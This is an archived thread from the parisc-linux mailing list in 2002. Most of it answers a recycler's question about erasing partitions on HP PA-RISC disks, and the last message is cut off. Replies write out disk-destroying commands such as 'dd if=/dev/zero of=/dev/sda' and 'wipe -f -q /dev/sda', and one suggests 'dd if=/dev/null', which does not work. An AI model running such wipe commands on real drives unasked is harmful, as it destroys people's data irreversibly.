NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 12:44:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 685B04838; Wed, 24 Jul 2002 12:44:51 -0600 (MDT)
In-Reply-To: Message from phi <phi@hpfrcu81.france.hp.com> 
   of "Wed, 24 Jul 2002 17:55:41 +0200." <3D3ECDFD.FFC416F6@hpfrcu81.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15644

phi wrote:
> Ouch didn't suspect this was that deep, I was focusing on this f. pam to
> setup.

It may not be.

> BTW I think I saw the exact same behavior on a 712 does the dcache problem
> present there too? 

No - and I don't expect it on C180 either.
So far I've only see it on SMP machines (with SMP kernel).

thanks,
grant


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Attention - 'make palo' change
Date: Wed, 24 Jul 2002 13:21:14 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <E17XRhC-0006Sh-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621567 11462 80.91.229.3 (22 Nov 2014 01:59:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 24 13:21:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AFB44866
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 13:21:15 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP id C8283A00A6B
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 15:21:14 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP id 8A9AD380D1
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 13:21:14 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP id 7256B435E
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 13:21:14 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17XRhC-0006Sh-00
	for <parisc-linux@parisc-linux.org>; Wed, 24 Jul 2002 13:21:14 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15645

Especially when cross compiling kernels, many of us have used 'make
palo'.  Unfortunately that required having and building the palo source.
Since palo is installable (at least on x86 and parisc), the time was
right to change this.  There have also been some complications with
'make palo' and the 2.5 development kernel.

So with 2.4.18-pa58, 'make palo' no longer builds palo, but instead
requires you have it installed and in your $PATH.  An error message
will tell you this information if necessary.  Palo's command-line
parameters are taken from 'palo.conf' in your top-level kernel
directory.  If you don't have a palo.conf, a lightly-commented
generic one will be created and you'll be informed about that.  Simply
edit it and run 'make palo' again.  That generic palo.conf file
leaves the lifimage in your top-level kernel directory rather
than ../palo/lifimage where it used to go.  You can change that
in the config file if you want.

If you want the old behavior, use 'make oldpalo', but that may
disappear soon together with the 'make lifimage' logic in palo's
makefile.

Source purists can still grab palo sources and build/install palo
either with 'make install' or by building/installing the debian package.
Take note of the DESTDIR makefile variable if you use 'make install'.

	-P


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] get_initiator for sym53c8xx_2
Date: Thu, 25 Jul 2002 00:54:00 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20020725065400.871B5482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621567 11464 80.91.229.3 (22 Nov 2014 01:59:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 00:54:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 871B5482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 00:54:00 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15646

Hi all,
I've hacked up a patch to sym53c8xx_2 driver to query PDC
for SCSI ID and other operating parameters:

	ftp://ftp.parisc-linux.org/patches/sym2_pdc.diff

This patch really only matters for (a) C3000, (b) multi-initiator
SCSI clusters, (c) "fast" SE SCSI interfaces with more than 3m cable.
Any other boxes which have unnaturally crippled wide SCSI interface
chips connected to a 50-pin (narrow) SCSI port will need this too.
Using PDC compensates for not having access to NVRAM or BIOS
to set these parameters.

It's past my bedtime...I've not tested it.  If someone can
test it on C3000 in case I don't get to it tomorrow, that
would be great. It does compile/link cleanly though and
is nearly identical to what I implemented for sym1 driver.

thanks,
grant


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rick Vernam" <rickvernam@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] i dont know jack
Date: Thu, 25 Jul 2002 10:43:31 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C233C8.1E2AEA80"
X-Trace: ger.gmane.org 1416621567 11467 80.91.229.3 (22 Nov 2014 01:59:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:27 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 09:43:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav66.sea2.hotmail.com [207.68.164.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11190482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 09:43:16 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Jul 2002 08:43:15 -0700
X-Originating-IP: [207.241.58.85]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 25 Jul 2002 15:43:15.0153 (UTC) FILETIME=[FD6A4410:01C233F1]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15647

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C233C8.1E2AEA80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

i work at place that gets tons of computer junk from companies that are =
getting rid of their equip.  one of our requirements is to kill the =
partitions on the HDs ( it is known that will no completely remove data, =
just make is a little more difficult to get too ).  so we are getting HP =
machines with pa-risc stuff and most wont boot ( i know enough to know =
how to initiate a boot ).  is there some way, using this parisc-linux =
that i can quickly kill partitions?

-Rick
rickvernam@hotmail.com

------=_NextPart_000_0005_01C233C8.1E2AEA80
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>i work at place that gets tons of =
computer junk=20
from companies that are getting rid of their equip.&nbsp; one of our=20
requirements is to kill the partitions on the HDs ( it is known that =
will no=20
completely remove data, just make is a little more difficult to get too =
).&nbsp;=20
so we are getting HP machines with pa-risc stuff and most wont boot ( i =
know=20
enough to know how to initiate a boot ).&nbsp; is there some way, using =
this=20
parisc-linux that i can&nbsp;<EM>quickly</EM> kill =
partitions?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>-Rick</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>rickvernam@hotmail.com</FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C233C8.1E2AEA80--


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i dont know jack
Date: 25 Jul 2002 12:19:35 -0400
Lines: 56
Approved: news@gmane.org
Message-ID: <1027613975.12732.358.camel@archimedes.localnetsolutions.com>
References: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-OnmoTH286cmyqrJ27Gul"
X-Trace: ger.gmane.org 1416621567 11470 80.91.229.3 (22 Nov 2014 01:59:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:27 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: Rick Vernam <rickvernam@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 10:19:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1E0B482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 10:19:41 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=castle.localnetsolutions.com)
	by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 17XlL2-0002ie-00; Thu, 25 Jul 2002 12:19:40 -0400
Original-Received: from archimedes.localnetsolutions.com (archimedes.localnetsolutions.com [192.168.0.2])
	by castle.localnetsolutions.com (8.11.6/linuxconf) with ESMTP id g6PGJkr08909;
	Thu, 25 Jul 2002 12:19:46 -0400
In-Reply-To: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15648

--=-OnmoTH286cmyqrJ27Gul
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

During the install process, one must create partitions to format then
install onto. Getting to that point is not too slow. Doing it from any
ol' HP box that comes in the door may be the biggest challenge.=20

If you can get one box to run with SCSI connections available for other
drives, boot the working boox with all the drives you want blanked,
fdisk them to one big linux partition, then shutdown. It will require
that you pull the drives, but in batch mode of 6 at a time, it will
likely be faster than 6 boots and partial setups.

Any of that old junk you want to throw my way (Atlanta) would be fun :)
My office already looks like a museum.

On Thu, 2002-07-25 at 11:43, Rick Vernam wrote:
> i work at place that gets tons of computer junk from companies that are g=
etting rid of their equip.  one of our requirements is to kill the partitio=
ns on the HDs ( it is known that will no completely remove data, just make =
is a little more difficult to get too ).  so we are getting HP machines wit=
h pa-risc stuff and most wont boot ( i know enough to know how to initiate =
a boot ).  is there some way, using this parisc-linux that i can quickly ki=
ll partitions?
>=20
> -Rick
> rickvernam@hotmail.com
--=20
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint =3D 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7=20



--=-OnmoTH286cmyqrJ27Gul
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQA9QCUXYZCtw4KcbKcRAkqLAKDuBI+8KCUDWHHU5vdag1/MqkhK6wCg7IRx
rI7kLD563na37D4F/9KGGEY=
=N0mq
-----END PGP SIGNATURE-----

--=-OnmoTH286cmyqrJ27Gul--



From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juergen Braukmann <juergen.braukmann@ruhr-west.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i dont know jack
Date: Thu, 25 Jul 2002 18:29:15 +0200
Organization: Power Penguin Club
Lines: 39
Approved: news@gmane.org
Message-ID: <3D40275B.55D3B7C7@ruhr-west.de>
References: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621568 11474 80.91.229.3 (22 Nov 2014 01:59:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:28 +0000 (UTC)
To: Rick Vernam <rickvernam@hotmail.com>,
	parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 11:07:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07249482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 11:07:39 -0600 (MDT)
Original-Received: from fwd04.sul.t-online.de 
	by mailout09.sul.t-online.com with smtp 
	id 17Xm5P-0001SH-05; Thu, 25 Jul 2002 19:07:35 +0200
Original-Received: from marvin.forty.two (520058847159-0001@[217.5.22.91]) by fmrl04.sul.t-online.com
	with esmtp id 17Xm5J-18LUifC; Thu, 25 Jul 2002 19:07:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by marvin.forty.two (8.11.6/8.11.0/SuSE Linux 8.11.0-0.4) with ESMTP id g6PGTnZ30612;
	Thu, 25 Jul 2002 18:29:49 +0200
Original-Received: from ruhr-west.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.13.0.1) id 30608-2266566B;
	Thu, 25 Jul 2002 18:29:15 +0200
X-AntiVirus: OK! AvMailGate Version 6.13.0.26
	 at marvin has not found any known virus in this email.
X-Mailer: Mozilla 4.78 [de] (X11; U; Linux 2.4.16-4GB i686)
X-Sender: 520058847159-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15649

> Rick Vernam schrieb:
> 
> i work at place that gets tons of computer junk >from companies that
> are getting rid of their equip.  one of our requirements is to kill
> the partitions on the HDs ( it is known that will no completely remove
> data, just make is a little more difficult to get too ).  so we are
> getting HP machines with pa-risc stuff and most wont boot ( i know
> enough to know how to initiate a boot ).  is there some way, using
> this parisc-linux that i can quickly kill partitions?
> 
> -Rick
> rickvernam@hotmail.com

Hi Rick, there probably is. Boot into some nini root environment and
type:

dd if=/dev/null of=/dev/sda [assuming THE drive is sda]

this will overwrite the intire disk with zero bytes (or was /dev/zero
the proper device for that??). Atlernetivly, /dev/random might be a good
source of rubbish data. ;-)

there is the bs= parameter as well (block size). You probably need to
experiment a bit with that, I tried to copy a 20GB disk via dd and it
was dead slow, but I used 8KB as bs. I'd now start with a value of 4-8
MB.

dd if=/dev/null of=/dev/sda bs=512 count=1 will overwrite the boot
sector and partition table; but that's DOS-logic, I do not know how much
of that applies to original HP-UX disks.

Juergen

-- 
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\


From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] i dont know jack
Date: Thu, 25 Jul 2002 19:16:43 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20020725171643.GA8177@charite.de>
References: <DAV66Z9F2u1YOyJvAiS00005c0c@hotmail.com> <3D40275B.55D3B7C7@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621568 11476 80.91.229.3 (22 Nov 2014 01:59:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:28 +0000 (UTC)
To: parisc list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 11:16:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77D07482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 11:16:45 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id B57D315C00D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 19:16:43 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 9D085633B2; Thu, 25 Jul 2002 19:16:43 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3D40275B.55D3B7C7@ruhr-west.de>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15650

Am 25.07.2002 um 18:29:15 +0200 schrieb Juergen Braukmann folgendes:

> Hi Rick, there probably is. Boot into some nini root environment and
> type:
> 
> dd if=/dev/null of=/dev/sda [assuming THE drive is sda]

bs=1M

Increase the blocksize heftily.

> this will overwrite the intire disk with zero bytes (or was /dev/zero
> the proper device for that??). Atlernetivly, /dev/random might be a good
> source of rubbish data. ;-)

/dev/zero is better.
Don't try /dev/random, it's too slow

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
S/He is playing DOOM, to release pent-up tension created by lusers. 



From - Thu Nov 08 21:23:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CARSON,KEVIN (HP-Canada,ex1)" <kevin_carson@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] i dont know jack
Date: Thu, 25 Jul 2002 10:51:30 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <B9957F974955D411829400D0B74FF27A08F18977@xtor01.canada.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621568 11481 80.91.229.3 (22 Nov 2014 01:59:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:28 +0000 (UTC)
To: 'Rick Vernam' <rickvernam@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 25 11:51:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A0FF482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Jul 2002 11:51:40 -0600 (MDT)
Original-Received: from xparelay2.corp.hp.com (xparelay2.corp.hp.com [15.58.137.112])
	by palrel11.hp.com (Postfix) with ESMTP
	id 88EBB60070D; Thu, 25 Jul 2002 10:51:39 -0700 (PDT)
Original-Received: from xpabh3.corp.hp.com (xpabh3.corp.hp.com [15.58.136.223])
	by xparelay2.corp.hp.com (Postfix) with ESMTP
	id 7FA1BB4; Thu, 25 Jul 2002 10:51:39 -0700 (PDT)
Original-Received: by xpabh3.corp.hp.com with Internet Mail Service (5.5.2655.55)
	id <3Z31Z8K0>; Thu, 25 Jul 2002 10:51:39 -0700
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15651

There are a couple of methods (assuming /dev/sda is the SCSI disk you wish
to erase):

1) dd if=/dev/zero of=/dev/sda bs=1M count=1

2) script parted or sfdisk to discover partitions and erase them

3) wipe -f -q /dev/sda

1 is the fastest.  Does little to none data protection.  2 is probably just
too fiddly and error prone.  3 is slow but does a reasonable four pass data
scrub of the whole disk as well as erasing the partitions.

Slow is relative.  It took 10.5 minutes to do an older 2GB drive on a 20
MB/s SCSI channel.  However, one could do these in parallel.  A rule of
thumb (based upon the assumption that recycling depots get old disks on old
SCSI channels) is about four disks in parallel per SCSI channel.  Of course,
this is really slow compared to the dd -- under a second on the same setup.

I can see three strategies for the setup:

A) Boot from a scsi disk to an external connector.

B) Boot from a network connector.

C) Remove the disks from the unit and access them through a testbed.

A is pretty straightforward but it assumes an external connector with
